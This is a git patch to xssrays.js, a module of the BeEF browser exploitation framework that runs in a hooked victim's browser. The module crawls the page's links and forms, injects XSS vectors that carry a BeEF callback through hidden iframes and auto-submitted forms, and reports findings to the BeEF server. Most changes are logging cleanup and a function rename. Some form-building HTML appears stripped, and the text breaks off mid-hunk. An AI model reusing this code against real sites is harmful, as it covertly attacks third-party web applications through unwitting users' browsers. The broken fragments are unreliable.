From 922e72d2fe006aebe231cf1dde659b5ffc91dadc Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 3 Aug 2011 12:22:56 +0000 Subject: [PATCH] Issue 384: xssrays core code cleanup, refactoring and small bugfix (finishing the scan if stack.length=0) git-svn-id: https://beef.googlecode.com/svn/trunk@1165 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- core/main/client/net/xssrays.js | 225 +++++++------------------------- 1 file changed, 44 insertions(+), 181 deletions(-) diff --git a/core/main/client/net/xssrays.js b/core/main/client/net/xssrays.js index bf6316dbd..f515f2379 100644 --- a/core/main/client/net/xssrays.js +++ b/core/main/client/net/xssrays.js @@ -34,8 +34,7 @@ */ beef.net.xssrays = { - debug:false, - cleanUpTimeout:5000, + completed:0, totalConnections:0, @@ -43,8 +42,10 @@ beef.net.xssrays = { xssraysScanId : 0, hookedBrowserSession: "", beefUrl: "", - //TODO: we are overwriting this via startScan. it always check cross-domain resources. Add code to skip those in case it's = false + // the 3 following variables are overridden via BeEF, in the Scan Config XssRays sub-tab. crossDomain: false, + debug:false, + cleanUpTimeout:5000, vectors: [ @@ -68,10 +69,10 @@ beef.net.xssrays = { stack: [], // util function. Print string to the console only if the debug flag is on. - printDebug:function(log){ - if(this.debug){ - console.log(log); - } + printDebug:function(log) { + if (this.debug) { + console.log("[XssRays] " + log); + } }, // main function, where all starts :-) @@ -85,7 +86,7 @@ beef.net.xssrays = { this.debug = debug; this.scan(); - beef.net.xssrays.printDebug("[XssRays] Starting scan"); + beef.net.xssrays.printDebug("Starting scan"); this.runJobs(); }, @@ -93,10 +94,10 @@ beef.net.xssrays = { return '\v' === 'v'; }, complete:function() { - beef.net.xssrays.printDebug("[XssRays] complete beef.net.xssrays.completed [" + beef.net.xssrays.completed + beef.net.xssrays.printDebug("complete beef.net.xssrays.completed [" + beef.net.xssrays.completed + "] - beef.net.xssrays.totalConnections [" + beef.net.xssrays.totalConnections + "]"); if (beef.net.xssrays.completed == beef.net.xssrays.totalConnections) { - beef.net.xssrays.printDebug("[XssRays] COMPLETE, notifying BeEF for scan id [" + beef.net.xssrays.xssraysScanId + "]"); + beef.net.xssrays.printDebug("COMPLETE, notifying BeEF for scan id [" + beef.net.xssrays.xssraysScanId + "]"); //TODO: understand why this is never called beef.net.send('/xssrays', beef.net.xssrays.xssraysScanId, "something"); } else { @@ -104,14 +105,18 @@ beef.net.xssrays = { } }, getNextJob:function() { - beef.net.xssrays.printDebug("[XssRays] getNextJob"); var that = this; + beef.net.xssrays.printDebug("getNextJob - this.stack.length [" + this.stack.length + "]"); if (this.stack.length > 0) { var func = that.stack.shift(); if (func) { that.completed++; func.call(that); } + }else{ //nothing to scan + beef.net.xssrays.printDebug("COMPLETE, notifying BeEF for scan id [" + beef.net.xssrays.xssraysScanId + "]"); + //TODO: understand why this is never called + beef.net.send('/xssrays', beef.net.xssrays.xssraysScanId, "something"); } }, scan:function() { @@ -127,19 +132,19 @@ beef.net.xssrays = { return this; }, scanLinks: function() { //TODO: add depth crawling for links that are in the same domain - beef.net.xssrays.printDebug("[XssRays] scanLinks, document.links.length [" + document.links.length + "]"); + beef.net.xssrays.printDebug("scanLinks, document.links.length [" + document.links.length + "]"); for (var i = 0; i < document.links.length; i++) { var url = document.links[i]; if ((url.hostname.toString() === location.hostname.toString() || this.crossDomain) && (location.protocol === 'http:' || location.protocol === 'https:')) { - beef.net.xssrays.printDebug("[XssRays] Starting scanning URL [" + url + "]\n url.href => " + url.href + + beef.net.xssrays.printDebug("Starting scanning URL [" + url + "]\n url.href => " + url.href + "\n url.pathname => " + url.pathname + "\n" + "url.search => " + url.search + "\n"); this.xss({href:url.href, pathname:url.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol, search:url.search, type: 'url'});//scan each link & param } else { if (this.debug) { - beef.net.xssrays.printDebug('[XssRays] Scan is not Cross-domain. URLS\nurl :' + url.hostname.toString()); + beef.net.xssrays.printDebug('Scan is not Cross-domain. URLS\nurl :' + url.hostname.toString()); beef.net.xssrays.printDebug('\nlocation :' + location.hostname.toString()); } } @@ -176,20 +181,20 @@ beef.net.xssrays = { if (this.vectors[i].url) { if (target.port == null || target.port == "") { - beef.net.xssrays.printDebug("starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + target.pathname + "]"); - this.temp_run(target.protocol + '//' + target.hostname + target.pathname, 'GET', this.vectors[i], params, true);//params + beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + target.pathname + "]"); + this.run(target.protocol + '//' + target.hostname + target.pathname, 'GET', this.vectors[i], params, true);//params } else { - beef.net.xssrays.printDebug("starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + target.pathname + "]"); - this.temp_run(target.protocol + '//' + target.hostname + ':' + target.port + target.pathname, 'GET', this.vectors[i], params, true);//params + beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + target.pathname + "]"); + this.run(target.protocol + '//' + target.hostname + ':' + target.port + target.pathname, 'GET', this.vectors[i], params, true);//params } } if (this.vectors[i].path) { if (target.port == null || target.port == "") { - beef.net.xssrays.printDebug("starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + target.pathname + "]"); - this.temp_run(target.protocol + '//' + target.hostname + target.pathname, 'GET', this.vectors[i], null, true);//paths + beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + target.pathname + "]"); + this.run(target.protocol + '//' + target.hostname + target.pathname, 'GET', this.vectors[i], null, true);//paths } else { - beef.net.xssrays.printDebug("starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + target.pathname + "]"); - this.temp_run(target.protocol + '//' + target.hostname + ':' + target.port + target.pathname, 'GET', this.vectors[i], null, true);//paths + beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + target.pathname + "]"); + this.run(target.protocol + '//' + target.hostname + ':' + target.port + target.pathname, 'GET', this.vectors[i], null, true);//paths } } } @@ -204,7 +209,6 @@ beef.net.xssrays = { 'POST' : 'GET'; - var excludeList = []; for (var j = 0; j < document.forms[i].elements.length; j++) { params[document.forms[i].elements[j].name] = document.forms[i].elements[j].value || 1; } @@ -222,7 +226,7 @@ beef.net.xssrays = { } if (!this.sameDomain && (this.host(action).toString() != this.host(location.toString()))) { if (this.debug) { - beef.net.xssrays.printDebug('[XssRays] Scan is not Cross-domain. FormPost\naction :' + this.host(action).toString()); + beef.net.xssrays.printDebug('Scan is not Cross-domain. FormPost\naction :' + this.host(action).toString()); beef.net.xssrays.printDebug('location :' + this.host(location)); } continue; @@ -230,17 +234,17 @@ beef.net.xssrays = { if (this.vectors[k].form) { if (method === 'GET') { - beef.net.xssrays.printDebug("starting XSS on FORM action params, GET method of [" + action + "], params [" + paramsstring + "]"); - this.temp_run(action, method, this.vectors[k], params, true, excludeList);//params + beef.net.xssrays.printDebug("Starting XSS on FORM action params, GET method of [" + action + "], params [" + paramsstring + "]"); + this.run(action, method, this.vectors[k], params, true);//params } else { - beef.net.xssrays.printDebug("starting XSS on FORM action params, POST method of [" + action + "], params [" + paramsstring + "]"); - this.temp_run(action, method, this.vectors[k], params, false, excludeList);//params + beef.net.xssrays.printDebug("Starting XSS on FORM action params, POST method of [" + action + "], params [" + paramsstring + "]"); + this.run(action, method, this.vectors[k], params, false);//params } } if (this.vectors[k].path) { - beef.net.xssrays.printDebug("starting XSS on FORM action URI PATH of [" + action + "], "); - this.temp_run(action, 'GET', this.vectors[k], null, true, excludeList);//paths + beef.net.xssrays.printDebug("Starting XSS on FORM action URI PATH of [" + action + "], "); + this.run(action, 'GET', this.vectors[k], null, true);//paths } } } @@ -268,13 +272,12 @@ beef.net.xssrays = { return str; }, - // this is the main core function with the detection mechanisms...basically the "run" function that I didn't remove - // is the original one, with the location.hash old trick that doesn't work anymore... - temp_run: function(url, method, vector, params, urlencode, excludeList) { + // this is the main core function with the detection mechanisms... + run: function(url, method, vector, params, urlencode) { this.stack.push(function() { beef.net.xssrays.uniqueID++; - beef.net.xssrays.printDebug('[XssRays] Processing vector [' + vector.name + "], URL [" + url + "]"); + beef.net.xssrays.printDebug('Processing vector [' + vector.name + "], URL [" + url + "]"); var poc = ''; var pocurl = url; var exploit = ''; @@ -325,7 +328,7 @@ beef.net.xssrays = { exploit = vector.input.replace(/XSS/g, beefCallback); - //TODO: if the url is something like example.com/?param=1 then a secod slash will be added, like example.com//. + //TODO: if the url is something like example.com/?param=1 then a second slash will be added, like example.com//. //TODO: this need to checked and the slash shouldn't be added in this particular case url = url.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/'); } @@ -340,14 +343,14 @@ beef.net.xssrays = { if (method === 'GET') { iframe.src = url; document.body.appendChild(iframe); - beef.net.xssrays.printDebug("[xssrays] Creating XSS iFrame with src [" + iframe.src + "], id[" + iframe.id + "], time [" + iframe.time + "]"); + beef.net.xssrays.printDebug("Creating XSS iFrame with src [" + iframe.src + "], id[" + iframe.id + "], time [" + iframe.time + "]"); } else if (method === 'POST') { var form = '
'; poc = ''; pocurl = action + "?"; paramsPos = 0; - beef.net.xssrays.printDebug("form action [" + action + "]"); + beef.net.xssrays.printDebug("Form action [" + action + "]"); for (var i in params) { if (params.hasOwnProperty(i)) { @@ -371,155 +374,16 @@ beef.net.xssrays = { } form += '<\/form>'; document.body.appendChild(iframe); - beef.net.xssrays.printDebug("[xssrays] Creating form [" + form + "]"); + beef.net.xssrays.printDebug("Creating form [" + form + "]"); iframe.contentWindow.document.writeln(form); iframe.contentWindow.document.writeln('